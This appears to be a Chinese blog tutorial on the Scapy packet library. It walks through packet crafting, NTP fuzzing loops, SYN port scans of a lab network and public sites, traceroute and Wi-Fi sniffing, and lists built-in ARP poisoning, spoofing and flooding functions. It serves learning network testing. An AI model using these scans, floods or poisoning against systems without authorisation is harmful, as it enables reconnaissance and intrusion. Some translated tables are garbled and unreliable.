主动信息收集——scapy

2024-10-12 30 0

scapy的交互式shell在终端会话中运行。发送数据需要权限,因此我们需要有root权限。

交互式教程

第一步

首先我们可以构建简单的数据包:

>>> a=IP(ttl=10)
>>> a
<IP  ttl=10 |>
>>> a.src
'127.0.0.1'
>>> a.dst="192.168.8.106"
>>> a
<IP  ttl=10 dst=192.168.8.106 |>
>>> a.src
'192.168.8.105'
>>> a.ttl
10

堆栈层

/运算符用作两层之间的合成运算符。这样做时,下层可以根据上层重载一个或多个默认字段(当然仍然可以设置你需要的值)。

>>> IP()
<IP  |>
>>> IP()/TCP()
<IP  frag=0 proto=tcp |<TCP  |>>
>>> Ether()/IP()/TCP()
<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |>>>
>>> IP()/TCP()/"GET /HTTP/1.0\r\n\r\n"
<IP  frag=0 proto=tcp |<TCP  |<Raw  load=b'GET /HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/TCP()/UDP()
<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |<UDP  |>>>>
>>> Ether()/IP()/IP()/UDP()
<Ether  type=IPv4 |<IP  frag=0 proto=ipencap |<IP  frag=0 proto=udp |<UDP  |>>>>
>>> IP(proto=55)/TCP()
<IP  frag=0 proto=55 |<TCP  |>>

主动信息收集——scapy插图

每个包都可以被构建或分解(在python中 __表示最新结果);

>>> IP()
<IP  |>
>>> raw(IP())
b'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP  version=4 ihl=5 tos=0x0 len=20 id=1 flags= frag=0 ttl=64 proto=hopopt chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>> a=Ether()/IP(dst="192.168.8.106")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> a
<Ether  type=IPv4 |<IP  frag=0 proto=tcp dst=192.168.8.106 |<TCP  |<Raw  load=b'GET /index.html HTTP/1.0 \n\n' |>>>>
>>> hexdump(a)
0000  00 0C 29 81 D3 1B 90 2E 16 D4 93 43 08 00 45 00  ..)........C..E.
0010  00 43 00 01 00 00 40 06 E8 90 C0 A8 08 69 C0 A8  [email protected]..
0020  08 6A 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .j...P........P.
0030  20 00 2B 8E 00 00 47 45 54 20 2F 69 6E 64 65 78   .+...GET /index
0040  2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0050  0A                                               .
>>> b=raw(a)
>>> b
b'\x00\x0c)\x81\xd3\x1b\x90.\x16\xd4\x93C\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06\xe8\x90\xc0\xa8\x08i\xc0\xa8\x08j\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00+\x8e\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether  dst=00:0c:29:81:d3:1b src=90:2e:16:d4:93:43 type=IPv4 |<IP  version=4 ihl=5 tos=0x0 len=67 id=1 flags= frag=0 ttl=64 proto=tcp chksum=0xe890 src=192.168.8.105 dst=192.168.8.106 |<TCP  sport=ftp_data dport=http seq=0 ack=0 dataofs=5 reserved=0 flags=S window=8192 chksum=0x2b8e urgptr=0 |<Raw  load=b'GET /index.html HTTP/1.0 \n\n' |>>>>

我们看到一个被分割的包已经填充了它所有的字段。这是因为我认为每个字段都有由原始字符串施加的值。如果这太详细,方法hide_defaults()将删除与默认值相同的每个字段;

>>> c.hide_defaults()
>>> c
<Ether  dst=00:0c:29:81:d3:1b src=90:2e:16:d4:93:43 type=IPv4 |<IP  ihl=5 len=67 frag=0 proto=tcp chksum=0xe890 src=192.168.8.105 dst=192.168.8.106 |<TCP  dataofs=5 chksum=0x2b8e |<Raw  load=b'GET /index.html HTTP/1.0 \n\n' |>>>>

读取pcap文件

你可以从pacp文件读取数据包并将其写入PCAP文件

>>>a=rdpcap("/spare/captures/isakmp.cap")
>>>a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

图形转储(PDF、PS)

如果安装了PYX,则可以对数据包或数据包列表进行图形化PostScript/PDF转储

执行命令

a.pdfdump(layer_shift=1)

主动信息收集——scapy插图1

主动信息收集——scapy插图2

命令 效果
原料(PKT) 组装数据包
H-DUMP(PKT) 具有十六进制转储
LS(PTK) 具有字段值列表
概要() 对于一行摘要
pkt.show() 对于包的开发视图
pkt.show2() 与显示相同,但在已组装的数据包上(例如,计算机校验和)
pkt.sprintf() 用数据包的字段值填充格式字符串
pkt.decode_payload_as() 更改有效负载的解码方式
pkt.psdump() 用解释的解剖绘制PostScript图表
pkt.pdfdump() 用解释的解剖绘制PDF
pkt.command() 返回可以生成数据包的scapy命令

生成一组数据包

​ 目前我们只生成一个包。让我们看看如何轻松地指定数据包集。整个包(任何层)的每一个字段都可以是一个集合。这隐式定义了一个数据包,在所有字段之间使用一种笛卡尔积生成。

>>> a=IP(dst="www.baidu.com/30")
>>> a
<IP  dst=Net("www.baidu.com/30") |>
>>> [p for p in a]
[<IP  dst=183.240.98.160 |>,
 <IP  dst=183.240.98.161 |>,
 <IP  dst=183.240.98.162 |>,
 <IP  dst=183.240.98.163 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP  ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP  ttl=1 |>,
 <IP  ttl=2 |>,
 <IP  ttl=5 |>,
 <IP  ttl=6 |>,
 <IP  ttl=7 |>,
 <IP  ttl=8 |>,
 <IP  ttl=9 |>]
>>> c = TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP  frag=0 proto=tcp dst=183.240.98.160 |<TCP  dport=http |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.160 |<TCP  dport=https |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.161 |<TCP  dport=http |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.161 |<TCP  dport=https |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.162 |<TCP  dport=http |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.162 |<TCP  dport=https |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.163 |<TCP  dport=http |>>,
 <IP  frag=0 proto=tcp dst=183.240.98.163 |<TCP  dport=https |>>]

某些操作(如从数据包中构建字符串)无法在一组数据包上工作。在这些情况下,如果忘记展开数据包集,则只有忘记生成的列表的第一个元素将用于组装数据包。

另一方面,可以将数据包移动到PacketList对象中,该对象中由对数据波列表提供操作的方法

>>>  p = PacketList(a)
>>> p
<PacketList: TCP:0 UDP:0 ICMP:0 Other:4>
>>> p = PacketList([p for p in a/c])
>>> p
<PacketList: TCP:8 UDP:0 ICMP:0 Other:0>
命令 效果
summary() 显示每个数据包的摘要
nsummary() 与上一个相同,带有数据包编号
conversarions() 显示对话图表
show() 显示首选项表示形式(通常为nsummary())
filter() 返回用lambda函数筛选的数据包列表
hexdump() 返回所有数据包的十六进制转储
hexraw() 返回所有数据包的原始层的十六进制转储
padding() 返回带有填充的数据白的十六进制转储
nzpadding() 返回带有非零的数据包的十六进制转储
plot() 绘制应用于数据包列表的lambda函数
make_table() 根据lambda函数显示表

发送数据包

现在我们知道了如何来操作数据包。让我们看看如何发送它们。send()函数将在第三层发送数据包。也就是说,他将为你处理路由和第二层。sendp()函数将在第二层工作。这取决于你选择正确的链路层协议。send()和sendp()如果作为参数传递return_packets=true,也将返回 send packer列表。

>>> send(IP(dst="192.168.8.106")/ICMP())
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="192.168.8.106",ttl=(1,4)), iface ="eth1")
WARNING: MAC address to reach destination not found. Using broadcast.
.WARNING: MAC address to reach destination not found. Using broadcast.
.WARNING: more MAC address to reach destination not found. Using broadcast.
.WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1",loop=1,inter=0.2)
................^C
Sent 16 packets.
>>> send(IP(dst="192.168.8.106"),return_packets=True)
WARNING: MAC address to reach destination not found. Using broadcast.
.
Sent 1 packets.
<PacketList: TCP:0 UDP:0 ICMP:0 Other:1>

Fuzzing

函数fuzz()可以更改任何默认值,该值式随机的,并且其类型于字段相适应,而该值不能由对象计算(如校验和)。这使得快速构建模糊模板并在循环中发送它们。在下面的示例中ip层式正常的,而UDP和NTP层式模糊的。UDP校验和将正确,UDP目标端口将被NTP超载为123,并且NTP版本将强制为4.所有其他随口随机分配。注意:如果在IP层中使用fuzz()那么src和dst参数不会是随机的,因此要做到这一点,请使用randip() ::

send(IP(dst="192.168.8.106")/fuzz(UDP()/NTP(version=4)),loop=1)

>>> send(IP(dst="192.168.8.106")/fuzz(UDP()/NTP(version=4)),loop=1)
...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^C
Sent 719 packets.

注入字节

在数据包中每一个字段都有特定类型。例如,IP分组的长度字段len需要一个整数。稍后会详细介绍这一点。如果你正在开发Poc,有时你会想要注入一些不合适该类型的值,这是可能的,使用Rawval

>>> pkt = IP(len=RawVal(b"NotAnInteger"),src = "https://www.freebuf.com/sectool/192.168.8.106")
>>> bytes(pkt)
b'H\x00NotAnInt\xc5\xa1er\x00\x01\x00\x00@\x00\x00\x00\xc0\xa8\x08j\x7f\x00\x00\x01\x00\x00'

发送和接收数据包(SR)

现在,让我们试着做一些有趣的事情。函数的作用是发送数据包。函数返回一对数据包和应答,以及未应答的数据包。函数输sr1()是一个变量,它只返回一个应答发送的数据包(或者数据包集)的数据包。数据包必须是第三层数据包(IP、ARP等)。函数srp()对第二层数据包(以太网、802.3等)执行相同的操作。如果没有响应,则在达到超时时间时将改为分配一个none值。

>>> p = sr1(IP(dst="www.baidu.com")/ICMP()/"hello")
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
>>> p
<IP  version=4 ihl=5 tos=0x4 len=33 id=1 flags= frag=0 ttl=50 proto=icmp chksum=0xa50f src=183.240.98.198 dst=192.168.8.105 |<ICMP  type=echo-reply code=0 chksum=0xbc2d id=0x0 seq=0x0 unused=b'' |<Raw  load=b'hello' |>>>
>>> p.show()
###[ IP ]###
  version   = 4
  ihl       = 5
  tos       = 0x4
  len       = 33
  id        = 1
  flags     =
  frag      = 0
  ttl       = 50
  proto     = icmp
  chksum    = 0xa50f
  src       = 183.240.98.198
  dst       = 192.168.8.105
  \options   \
###[ ICMP ]###
     type      = echo-reply
     code      = 0
     chksum    = 0xbc2d
     id        = 0x0
     seq       = 0x0
     unused    = b''
###[ Raw ]###
        load      = b'hello'

一个DNS查询(rd=需要递归)。主机192.168.8.1是我的DNS服务器。

>>> sr1(IP(dst="192.168.8.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")))
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=118 id=22661 flags=DF frag=0 ttl=64 proto=udp chksum=0x5036 src=192.168.8.1 dst=192.168.8.106 |<UDP  sport=domain dport=domain len=98 chksum=0x99e6 |<DNS  id=0 qr=1 opcode=QUERY aa=0 tc=0 rd=1 ra=1 z=0 ad=0 cd=0 rcode=ok qdcount=1 ancount=3 nscount=0 arcount=0 qd=[<DNSQR  qname=b'www.baidu.com.' qtype=A qclass=IN |>] an=[<DNSRR  rrname=b'www.baidu.com.' type=CNAME rclass=IN ttl=206 rdata=b'www.a.shifen.com.' |>, <DNSRR  rrname=b'www.a.shifen.com.' type=A rclass=IN ttl=163 rdata=39.156.66.18 |>, <DNSRR  rrname=b'www.a.shifen.com.' type=A rclass=IN ttl=163 rdata=39.156.66.14 |>] |>>> 

发送和接收功能是scapy的核心。它们返回了两个列表。第一个元素是成对的列表(发送数据包、应答),第二个元素是为未应答数据包的列表。这两个元素是列表,但他们被一个对象包装,以便更好的呈现它们并为它们提供一些执行最经常需要的操作方法:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Begin emission:
Finished sending 3 packets.
.***
Received 4 packets, got 3 answers, remaining 0 packets
(<Results: TCP:3 UDP:0 ICMP:0 Other:0>,
 <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:ftp S ==> IP / TCP 192.168.8.1:ftp > 192.168.8.106:ftp_data RA / Padding
IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:ssh S ==> IP / TCP 192.168.8.1:ssh > 192.168.8.106:ftp_data RA / Padding
IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:telnet S ==> IP / TCP 192.168.8.1:telnet > 192.168.8.106:ftp_data RA / Padding

如果应答有限,可以使用inter参数指定两个数据包之间的等待时间间隔(以秒为单位),如果其某些数据包丢失或指定间隔不够,则可以重新发送所有未应答的数据包,方法是再次调用该函数,直到使用未应答列表,或指定重试参数,如果retry为3,scapy将尝试重实发送3次未应答的数据包。如果retry为-3,scapy将重新发送未应答的数据包,直到同一组未应答的数据包连续3次没有给出任何应答。timeout参数指定发送最后一个数据包后等待的时间:

>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished sending 12 packets.
....................................Begin emission:
Finished sending 12 packets.
.......Begin emission:
Finished sending 12 packets.
....
Received 47 packets, got 0 answers, remaining 12 packets
(<Results: TCP:0 UDP:0 ICMP:0 Other:0>,
 <Unanswered: TCP:12 UDP:0 ICMP:0 Other:0>)

SYN扫描

通过从scapy的提示符执行一下命令,可以初始化经典的syn扫描,并在收到单个响应后退出:

>>> sr1(IP(dst="192.168.8.110")/TCP(dport=80,flags="S"))
Begin emission:
Finished sending 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=44 id=182 flags= frag=0 ttl=128 proto=tcp ched src=192.168.8.110 dst=192.168.8.106 |<TCP  sport=http dport=ftp_data seq=3 ack=1 dataofs=6 reserved=0 flags=SA window=64240 chksum=0x4b5d urgptr=0 optiS', 1460)] |<Padding  load=b'\x00\x00' |>>>                              

从上面的输出可以看到返回了SA的标志指示一个开放端口。使用任一标记扫描系统上的端口400到433:

>>> sr(IP(dst="192.168.8.1")/TCP(sport=666,dport=(440,443),flags="S"))
Begin emission:
Finished sending 4 packets.
.****
Received 5 packets, got 4 answers, remaining 0 packets
(<Results: TCP:4 UDP:0 ICMP:0 Other:0>,
 <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

>>> sr(IP(dst="192.168.8.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
Begin emission:
Finished sending 4 packets.
.****
Received 5 packets, got 4 answers, remaining 0 packets
(<Results: TCP:4 UDP:0 ICMP:0 Other:0>,
 <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)

为了快速查看响应,只需请求收集数据包的摘要:

>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.106:23046 > 192.168.8.1:440 S ==> IP / TCP 192.168.8.1:440 > 192.168.8.106:23046 RA / Padding
IP / TCP 192.168.8.106:52507 > 192.168.8.1:441 S ==> IP / TCP 192.168.8.1:441 > 192.168.8.106:52507 RA / Padding
IP / TCP 192.168.8.106:37554 > 192.168.8.1:442 S ==> IP / TCP 192.168.8.1:442 > 192.168.8.106:37554 RA / Padding
IP / TCP 192.168.8.106:1308 > 192.168.8.1:https S ==> IP / TCP 192.168.8.1:https > 192.168.8.106:1308 SA / Padding

上面将显示回答的探针的刺激/响应对。通过使用简单的循环,我们只能显示我们感兴趣的信息:

>>> ans.summary(lambda s,r:r.sprintf("%TCP.sport% \t %TCP.flags%"))
440      RA
441      RA
442      RA
https    SA

更好的是,可以使用make_table()显示多个目标信息的函数:

>>> ans,unans = sr(IP(dst=["192.168.8.1","www.baidu.com","www.jd.com"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
Finished sending 9 packets.
.*******........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^C
Received 480 packets, got 7 answers, remaining 2 packets

>>> ans.make_table(
...:    lambda s,r: (s.dst, s.dport,
...:    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    120.226.8.193 183.240.98.198 192.168.8.1 
22  -             -              RA          
80  SA            SA             SA          
443 SA            SA             SA  

如果接收到作为响应而不是预期的TCP的ICMP数据包,则上述示例甚至将打印ICMP错误类型。

对于较大的扫描,我们可能只是对显示某些响应感兴趣。下面的示例将只设置了“sa”标志的数据包:

>>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA")
0001 IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:http S ==> IP / TCP 192.168.8.1:http > 192.168.8.106:ftp_data SA / Padding
0002 IP / TCP 192.168.8.106:ftp_data > 192.168.8.1:https S ==> IP / TCP 192.168.8.1:https > 192.168.8.106:ftp_data SA / Padding
0003 IP / TCP 192.168.8.106:ftp_data > 120.226.8.193:http S ==> IP / TCP 120.226.8.193:http > 192.168.8.106:ftp_data SA / Padding
0004 IP / TCP 192.168.8.106:ftp_data > 120.226.8.193:https S ==> IP / TCP 120.226.8.193:https > 192.168.8.106:ftp_data SA / Padding
0005 IP / TCP 192.168.8.106:ftp_data > 183.240.98.198:https S ==> IP / TCP 183.240.98.198:https > 192.168.8.106:ftp_data SA / Padding
0006 IP / TCP 192.168.8.106:ftp_data > 183.240.98.198:http S ==> IP / TCP 183.240.98.198:http > 192.168.8.106:ftp_data SA / Padding

如果我们相对响应进行一些专家分析,可以使用以下命令来指示打开了那些端口:

>>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA" ,prn =lambda s,r: r.sprintf("%TCP.spo
...: rt% is open"))
http is open
https is open
http is open
https is open
https is open
http is open

同样对于更大的扫描,我们可以构建一个开放端口表:

>>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r:(s.dst,s.dport,"X"))
    120.226.8.193 183.240.98.198 192.168.8.1 
80  X             X              X           
443 X             X              X 

如果上述说法搜不够,scapy将包含一个report_ports()函数,该函数不仅可以自动执行syn扫描,还可以生成具有收集结果的Latex输出:

>>> report_ports("192.168.8.1",(440,443))
Begin emission:
Finished sending 4 packets.
.****
Received 5 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP跟踪路由

TCP跟踪路由:

>>> ans,unans = sr(IP(dst="183.240.98.161",ttl=(4,25),id = RandShort())/TCP(flags=0x2))
Begin emission:
Finished sending 22 packets.
....**********...............................................................................................................................................................................................................................................................................................................................................................................................................................................^C
Received 445 packets, got 10 answers, remaining 12 packets
>>>  for snd,rcv in ans:
...:     print (snd.ttl,rcv.src,isinstance(rcv.payload,TCP))
...: 
4 183.240.98.161 True
5 183.240.98.161 True
6 183.240.98.161 True
7 183.240.98.161 True
8 183.240.98.161 True
9 183.240.98.161 True
10 183.240.98.161 True
11 183.240.98.161 True
12 183.240.98.161 True
13 183.240.98.161 True

请注意,tcp traceroute和一些其他高级函数已经编码:

>>> lsc()
IPID_count            : Identify IP id values classes in a list of packets
arp_mitm              : ARP MitM: poison 2 target's ARP cache
arpcachepoison        : Poison targets' ARP cache
arping                : Send ARP who-has requests to determine which hosts are up::
arpleak               : Exploit ARP leak flaws, like NetBSD-SA2017-002.
bind_layers           : Bind 2 layers on some specific fields' values.
bridge_and_sniff      : Forward traffic between interfaces if1 and if2, sniff and return
chexdump              : Build a per byte hexadecimal representation
computeNIGroupAddr    : Compute the NI group Address. Can take a FQDN as input parameter
connect_from_ip       : Open a TCP socket to a host:port while spoofing another IP.
corrupt_bits          : Flip a given percentage (at least one bit) or number of bits
corrupt_bytes         : Corrupt a given percentage (at least one byte) or number of bytes
dclocator             : Perform a DC Locator as per [MS-ADTS] sect 6.3.6 or RFC4120.
defrag                : defrag(plist) -> ([not fragmented], [defragmented],
defragment            : defragment(plist) -> plist defragmented as much as possible 
dhcp_request          : Send a DHCP discover request and return the answer.
dns_resolve           : Perform a simple DNS resolution using conf.nameservers with caching
dyndns_add            : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del            : Send a DNS delete message to a nameserver for "name"
etherleak             : Exploit Etherleak flaw
explore               : Function used to discover the Scapy layers and protocols.
fletcher16_checkbytes : Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum   : Calculates Fletcher-16 checksum of the given buffer.
fragleak              : --
fragleak2             : --
fragment              : Fragment a big IP datagram
fuzz                  : Transform a layer into a fuzzy layer by replacing some default values
getmacbyip            : Return MAC address corresponding to a given IP address
getmacbyip6           : Returns the MAC address corresponding to an IPv6 address
hexdiff               : Show differences between 2 binary strings, Packets...
hexdump               : Build a tcpdump like hexadecimal view
hexedit               : Run hexedit on a list of packets, then return the edited packets.
hexstr                : Build a fancy tcpdump like hex from bytes.
import_hexcap         : Imports a tcpdump like hexadecimal view
is_promisc            : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump           : Build an equivalent view of hexdump() on a single line
ls                    : List  available layers, or infos on a given layer class or name.
neighsol              : Sends and receive an ICMPv6 Neighbor Solicitation message
overlap_frag          : Build overlapping fragments to bypass NIPS
promiscping           : Send ARP who-has requests to determine which hosts are in promiscuous mode
rderf                 : Read a ERF file and return a packet list
rdpcap                : Read a pcap or pcapng file and return a packet list
report_ports          : portscan a target and output a LaTeX table
restart               : Restarts scapy
rfc                   : Generate an RFC-like representation of a packet def.
send                  : Send packets at layer 3
sendp                 : Send packets at layer 2
sendpfast             : Send packets at layer 2 using tcpreplay for performance
smbclient             : A simple smbclient CLI
sniff                 : Sniff packets and return a list of packets.
split_layers          : Split 2 layers previously bound.
sr                    : Send and receive packets at layer 3
sr1                   : Send packets at layer 3 and return only the first answer
sr1flood              : Flood and receive packets at layer 3 and return only the first answer
srbt                  : send and receive using a bluetooth socket
srbt1                 : send and receive 1 packet using a bluetooth socket
srflood               : Flood and receive packets at layer 3
srloop                : Send a packet at layer 3 in loop and print the answer each time
srp                   : Send and receive packets at layer 2
srp1                  : Send and receive packets at layer 2 and return only the first answer
srp1flood             : Flood and receive packets at layer 2 and return only the first answer
srpflood              : Flood and receive packets at layer 2
srploop               : Send a packet at layer 2 in loop and print the answer each time
tcpdump               : Run tcpdump or tshark on a list of packets.
tdecode               : Run tshark on a list of packets.
traceroute            : Instant TCP traceroute
traceroute6           : Instant TCP traceroute using IPv6
traceroute_map        : Util function to call traceroute on multiple targets, then
tshark                : Sniff packets and print them calling pkt.summary().
wireshark             : Runs Wireshark on a list of packets.
wrerf                 : Write a list of packets to a ERF file
wrpcap                : Write a list of packets to a pcap file
wrpcapng              : Write a list of packets to a pcapng file

嗅探

我们可以很容易地捕获一些包,甚至克隆tcpdump或tshark。可以提供一个接口或一个要嗅探地接口列表。如果没有提供接口,将在conf.iface::

>>> sniff(filter ="icmp and host 192.168.8.110", count=2)
<Sniffed: TCP:0 UDP:0 ICMP:2 Other:0>
>>> a =_
>>> a.nsummary()
0000 Ether / IP / ICMP 192.168.8.110 > 192.168.8.1 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.8.1 > 192.168.8.110 echo-reply 0 / Raw
>>> a[1]
<Ether  dst=00:0c:29:7a:87:9b src=44:59:e3:5c:80:9f type=IPv4 |<IP  version=4 ihl=5 tos=0x0 len=60 id=61646 flags= frag=0 ttl=64 proto=icmp chksum=0xf832 src=192.168.8.1 dst=192.168.8.110 |<ICMP  type=echo-reply code=0 chksum=0x4b5c id=0x200 seq=0x800 unused=b'' |<Raw  load=b'abcdefghijklmnopqrstuvwabcdefghi' |>>>>
>>>sniff(iface = "wlan0mon",prn = lambda x :x.summary())
RadioTap / 802.11 Management Beacon 06:69:6c:54:5d:1b (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 44:59:e3:5c:80:a4 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11Elt / Dot11EltERP / Dot11EltRSN / Dot11EltVendorSpecific / Dot11EltRates / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11EltOBSS / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 06:69:6c:55:ea:18 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 12:85:c4:f5:3d:52 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11Elt / Dot11Elt / Dot11EltERP / Dot11Elt / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVHTOperation / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 06:69:6c:55:ea:30 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 06:69:6c:55:e9:e0 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 12:85:c4:f5:3d:52 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11Elt / Dot11Elt / Dot11EltERP / Dot11Elt / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVHTOperation / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
RadioTap / 802.11 Management Beacon a6:91:67:79:71:49 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='YYYYYYYYYYYYYYYYY' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11Elt / Dot11EltERP / Dot11EltRates / Dot11EltRSN / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11Elt / Dot11EltVHTOperation / Dot11Elt / Dot11Elt / Dot11EltVendorSpecific / Dot11Elt
RadioTap / 802.11 Management Beacon 06:69:6c:54:ee:54 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Beacon 06:69:6c:54:ee:54 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='HUT' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltHTCapabilities / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11EltVendorSpecific
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
RadioTap / 802.11 Management Action 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Action / Raw
RadioTap / 802.11 Control Block Ack 3c:55:76:dd:3c:b9 (TA) > 96:e9:99:f5:61:36 (RA) / Raw
RadioTap / 802.11 Management Beacon 96:e9:99:f5:61:36 (TA=SA) > ff:ff:ff:ff:ff:ff (RA=DA) / Dot11Beacon / SSID='Redmi K70' / Dot11EltRates / Dot11EltDSSSet / Dot11Elt / Dot11EltCountry / Dot11EltERP / Dot11EltRates / Dot11EltRSN / Dot11Elt / Dot11EltHTCapabilities / Dot11Elt / Dot11Elt / Dot11Elt / Dot11EltVHTOperation / Dot11Elt / Dot11EltVendorSpecific / Dot11EltVendorSpecific / Dot11Elt / Dot11Elt / Dot11EltVendorSpecific
